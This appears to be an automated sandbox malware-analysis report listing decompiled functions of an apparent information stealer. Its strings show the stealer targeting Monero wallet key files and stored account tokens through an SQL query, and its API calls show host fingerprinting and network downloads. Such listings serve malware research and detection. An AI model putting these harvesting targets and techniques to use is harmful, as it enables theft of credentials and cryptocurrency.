Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID: @D$PD$XD
API String ID: 211194620-1890363869
Opcode ID: 1d405802c83a414c5764ac6788b1c46b457a0e1ca3b9ad8dcb9ae6e7e6628fb7
Instruction ID: e71ea159807e1517f58bfef6152ecb32d85b371629c21e61c64d0171412b760a
Opcode Fuzzy Hash: 1d405802c83a414c5764ac6788b1c46b457a0e1ca3b9ad8dcb9ae6e7e6628fb7
Instruction Fuzzy Hash: DAE100728101099ACB05FBA4EC9AEEE7738BFD4300F50C169F51B72091EF346A49DB66

Function 0056BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 0057A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0057A7E6

lstrlen.KERNEL32(00000000), ref: 0056BC9F

Part of subcall function 00578E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00578E52

StrStrA.SHLWAPI(00000000,AccountId), ref: 0056BCCD
lstrlen.KERNEL32(00000000), ref: 0056BDA5
lstrlen.KERNEL32(00000000), ref: 0056BDB9

Strings

AccountTokens, xrefs: 0056BABA
AccountTokens, xrefs: 0056BB49
AccountId, xrefs: 0056BCC4
SELECT service, encrypted_token FROM token_service, xrefs: 0056BBEB

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat$AllocLocal
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 3073930149-1079375795
Opcode ID: 60e7de1fd001882cef278cbcfd26bd4b7181243707317d06f833de36b347c489
Instruction ID: 25279bd69ea375c8fd29b05173a476c3d7cc291f8fae0513ba2b2a032175d6b0
Opcode Fuzzy Hash: 60e7de1fd001882cef278cbcfd26bd4b7181243707317d06f833de36b347c489
Instruction Fuzzy Hash: 16B11371910105ABDB04FBA0ED5AEEE7B3CBFD4300F408558F50AA7091EF346A59DB66

Function 00574780 Relevance: 12.1, APIs: 7, Strings: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0044F2C8), ref: 005747DB

Part of subcall function 00578DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00578E0B

lstrcat.KERNEL32(?,00000000), ref: 00574801
lstrcat.KERNEL32(?,?), ref: 00574820
lstrcat.KERNEL32(?,?), ref: 00574834
lstrcat.KERNEL32(?,0043B7F0), ref: 00574847
lstrcat.KERNEL32(?,?), ref: 0057485B
lstrcat.KERNEL32(?,0044E760), ref: 0057486F

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 00578D90: GetFileAttributesA.KERNEL32(00000000,?,00561B54,?,?,0058564C,?,?,00580E1F), ref: 00578D9F

Part of subcall function 00574570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00574580
Part of subcall function 00574570: RtlAllocateHeap.NTDLL(00000000), ref: 00574587
Part of subcall function 00574570: wsprintfA.USER32 ref: 005745A6
Part of subcall function 00574570: FindFirstFileA.KERNEL32(?,?), ref: 005745BD

Strings

`D, xrefs: 00574861

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID: `D
API String ID: 2540262943-1070873967
Opcode ID: 287ab3a8a8f4079aa8b3e7cc591adb205e740e7bdb48a2376a4659e63fb1d42d
Instruction ID: a12b0f175bda02185f217538f7a11e1e6423cf48f73b53b50cd02a6b2d4116a4
Opcode Fuzzy Hash: 287ab3a8a8f4079aa8b3e7cc591adb205e740e7bdb48a2376a4659e63fb1d42d
Instruction Fuzzy Hash: 9C3161B294020967CB51FBB0EC8DEE97778BBD8700F408589B31996081EF789689DF95

Function 00571A10 Relevance: 11.4, APIs: 2, Strings: 4, Instructions: 857stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

Part of subcall function 00577500: GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00577542
Part of subcall function 00577500: GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0057757F
Part of subcall function 00577500: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00577603
Part of subcall function 00577500: RtlAllocateHeap.NTDLL(00000000), ref: 0057760A

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 00577690: GetProcessHeap.KERNEL32(00000000,00000104), ref: 005776A4
Part of subcall function 00577690: RtlAllocateHeap.NTDLL(00000000), ref: 005776AB

Part of subcall function 005777C0: GetCurrentProcess.KERNEL32(00000000,?,?,?,?,?,00000000,0057DBC0,000000FF,?,00571C99,00000000,?,0044EA20,00000000,?), ref: 005777F2
Part of subcall function 005777C0: IsWow64Process.KERNEL32(00000000,?,?,?,?,?,00000000,0057DBC0,000000FF,?,00571C99,00000000,?,0044EA20,00000000,?), ref: 005777F9

Part of subcall function 00577850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,005611B7), ref: 00577880
Part of subcall function 00577850: RtlAllocateHeap.NTDLL(00000000), ref: 00577887
Part of subcall function 00577850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0057789F

Part of subcall function 005778E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00577910
Part of subcall function 005778E0: RtlAllocateHeap.NTDLL(00000000), ref: 00577917
Part of subcall function 005778E0: GetComputerNameA.KERNEL32(?,00000104), ref: 0057792F

Part of subcall function 00577980: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00580E00,00000000,?), ref: 005779B0
Part of subcall function 00577980: RtlAllocateHeap.NTDLL(00000000), ref: 005779B7
Part of subcall function 00577980: GetLocalTime.KERNEL32(?,?,?,?,?,00580E00,00000000,?), ref: 005779C4
Part of subcall function 00577980: wsprintfA.USER32 ref: 005779F3

Part of subcall function 00577A30: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0044F1A8,00000000,?,00580E10,00000000,?,00000000,00000000), ref: 00577A63
Part of subcall function 00577A30: RtlAllocateHeap.NTDLL(00000000), ref: 00577A6A
Part of subcall function 00577A30: GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0044F1A8,00000000,?,00580E10,00000000,?,00000000,00000000,?), ref: 00577A7D

Part of subcall function 00577B00: GetUserDefaultLocaleName.KERNEL32(00000055,00000055,?,?,?,00000000,00000000,?,0044F1A8,00000000,?,00580E10,00000000,?,00000000,00000000), ref: 00577B35

Part of subcall function 00577B90: GetKeyboardLayoutList.USER32(00000000,00000000,005805AF), ref: 00577BE1
Part of subcall function 00577B90: LocalAlloc.KERNEL32(00000040,?), ref: 00577BF9
Part of subcall function 00577B90: GetKeyboardLayoutList.USER32(?,00000000), ref: 00577C0D
Part of subcall function 00577B90: GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00577C62
Part of subcall function 00577B90: LocalFree.KERNEL32(00000000), ref: 00577D22

Part of subcall function 00577D80: GetSystemPowerStatus.KERNEL32(?), ref: 00577DAD

GetCurrentProcessId.KERNEL32(00000000,?,0044E980,00000000,?,00580E24,00000000,?,00000000,00000000,?,0044F0B8,00000000,?,00580E20,00000000), ref: 0057207E

Part of subcall function 00579470: OpenProcess.KERNEL32(00000410,00000000,?), ref: 00579484
Part of subcall function 00579470: K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 005794A5
Part of subcall function 00579470: CloseHandle.KERNEL32(00000000), ref: 005794AF

Part of subcall function 00577E00: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00577E37
Part of subcall function 00577E00: RtlAllocateHeap.NTDLL(00000000), ref: 00577E3E
Part of subcall function 00577E00: RegOpenKeyExA.KERNEL32(80000002,0043C1B8,00000000,00020119,?), ref: 00577E5E
Part of subcall function 00577E00: RegQueryValueExA.KERNEL32(?,0044E7E0,00000000,00000000,000000FF,000000FF), ref: 00577E7F
Part of subcall function 00577E00: RegCloseKey.ADVAPI32(?), ref: 00577E92

Part of subcall function 00577F60: GetLogicalProcessorInformationEx.KERNELBASE(0000FFFF,00000000,00000000), ref: 00577FC9
Part of subcall function 00577F60: GetLastError.KERNEL32 ref: 00577FD8

Part of subcall function 00577ED0: GetSystemInfo.KERNEL32(00580E2C), ref: 00577F00
Part of subcall function 00577ED0: wsprintfA.USER32 ref: 00577F16

Part of subcall function 00578100: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0044F0A0,00000000,?,00580E2C,00000000,?,00000000), ref: 00578130
Part of subcall function 00578100: RtlAllocateHeap.NTDLL(00000000), ref: 00578137
Part of subcall function 00578100: GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00578158
Part of subcall function 00578100: __aulldiv.LIBCMT ref: 00578172
Part of subcall function 00578100: __aulldiv.LIBCMT ref: 00578180
Part of subcall function 00578100: wsprintfA.USER32 ref: 005781AC

Part of subcall function 005787C0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00580E28,00000000,?), ref: 0057882F
Part of subcall function 005787C0: RtlAllocateHeap.NTDLL(00000000), ref: 00578836
Part of subcall function 005787C0: wsprintfA.USER32 ref: 00578850

Part of subcall function 00578320: RegOpenKeyExA.KERNEL32(00000000,0044AFB8,00000000,00020019,00000000,005805B6), ref: 005783A4

Part of subcall function 00578320: RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00578426
Part of subcall function 00578320: wsprintfA.USER32 ref: 00578459
Part of subcall function 00578320: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 0057847B
Part of subcall function 00578320: RegCloseKey.ADVAPI32(00000000), ref: 0057848C
Part of subcall function 00578320: RegCloseKey.ADVAPI32(00000000), ref: 00578499

Part of subcall function 00578680: CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,005805B7), ref: 005786CA
Part of subcall function 00578680: Process32First.KERNEL32(?,00000128), ref: 005786DE
Part of subcall function 00578680: Process32Next.KERNEL32(?,00000128), ref: 005786F3
Part of subcall function 00578680: CloseHandle.KERNEL32(?), ref: 00578761

lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,00000000,?,00000000,00000000,00000000), ref: 0057265B

Strings

D, xrefs: 00571AD4
D, xrefs: 00571C6A
D, xrefs: 005720EB
@D, xrefs: 005722D5

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$Allocate$Closewsprintf$NameOpenlstrcpy$InformationLocal$CurrentHandleInfoKeyboardLayoutListLocaleProcess32StatusSystemTimeUser__aulldivlstrcatlstrlen$AllocComputerCreateDefaultDirectoryEnumErrorFileFirstFreeGlobalLastLogicalMemoryModuleNextPowerProcessorQuerySnapshotToolhelp32ValueVolumeWindowsWow64Zone
String ID: D$ D$@D$D
API String ID: 3113730047-3407310991
Opcode ID: 7aa0f6ae5f30eaeb18c57ee560942c94ac8e31faedb81b85e982b85897af2746
Instruction ID: a5c10f2eb085a33e20204305dc6fa6c44a39e47e6d3b288b737c7f06355e5ccf
Opcode Fuzzy Hash: 7aa0f6ae5f30eaeb18c57ee560942c94ac8e31faedb81b85e982b85897af2746
Instruction Fuzzy Hash: AA727272C10119AADB55FB60EC99DEE773CBFD4300F50C299B52A62091EF302B49DB66

Function 0056A0A0 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00448FF8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0056A0BD
LoadLibraryA.KERNEL32(0044E740), ref: 0056A146

Part of subcall function 0057A740: lstrcpy.KERNEL32(00580E17,00000000), ref: 0057A788

Part of subcall function 0057A820: lstrlen.KERNEL32(00564F05,?,?,00564F05,00580DDE), ref: 0057A82B
Part of subcall function 0057A820: lstrcpy.KERNEL32(00580DDE,00000000), ref: 0057A885

Part of subcall function 0057A9B0: lstrlen.KERNEL32(?,00449188,?,\Monero\wallet.keys,00580E17), ref: 0057A9C5
Part of subcall function 0057A9B0: lstrcpy.KERNEL32(00000000), ref: 0057AA04
Part of subcall function 0057A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0057AA12

Part of subcall function 0057A920: lstrcpy.KERNEL32(00000000,?), ref: 0057A972
Part of subcall function 0057A920: lstrcat.KERNEL32(00000000), ref: 0057A982

Part of subcall function 0057A8A0: lstrcpy.KERNEL32(?,00580E17), ref: 0057A905

SetEnvironmentVariableA.KERNEL32(00448FF8,00000000,00000000,?,005812D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,00580AFE), ref: 0056A132

Strings

@D, xrefs: 0056A140
C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0056A0B2, 0056A0C6, 0056A0DC
8D, xrefs: 0056A1E2

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2593017906.0000000000BFC000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_560000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: 8D$@D$C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-347171502
Opcode ID: a870eb6223ccc942f788d960773bce3111fb6c301bfebbb85dc6c7694bd0bfd4
Instruction ID: b30091c3f6190097319eaff2418cb4d626be73cbccbe068296c043a10ce0fdd7
Opcode Fuzzy Hash: a870eb6223ccc942f788d960773bce3111fb6c301bfebbb85dc6c7694bd0bfd4
Instruction Fuzzy Hash: B24143B1911205BFCB45DFA4EC59AAE3BB4F7CA301F188118F505A32A1EB385944CF67

Function 00564FB0 Relevance: 10.6, APIs: 7, Instructions: 83networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 00564FCA
RtlAllocateHeap.NTDLL(00000000), ref: 00564FD1
InternetOpenA.WININET(00580DDF,00000000,00000000,00000000,00000000), ref: 00564FEA
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00565011
InternetReadFile.WININET(?,?,00000400,00000000), ref: 00565041
InternetCloseHandle.WININET(?), ref: 005650B9
InternetCloseHandle.WININET(?), ref: 005650C6

Memory Dump Source

Source File: 00000000.00000002.2592099806.0000000000561000.00000040.00000001.01000000.00000003.sdmp, Offset: 00560000, based on PE: true

Associated: 00000000.00000002.2592082755.0000000000560000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005BA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005E8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.00000000005F2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000611000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000061D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000064F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000066F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000067E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000705000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.0000000000725000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592099806.000000000072B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.00000000007BE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A47000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592602997.0000000000A5F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2592888240.0000000000A60000.00000080.00000001.01000000.00000003.sdmpDownload File
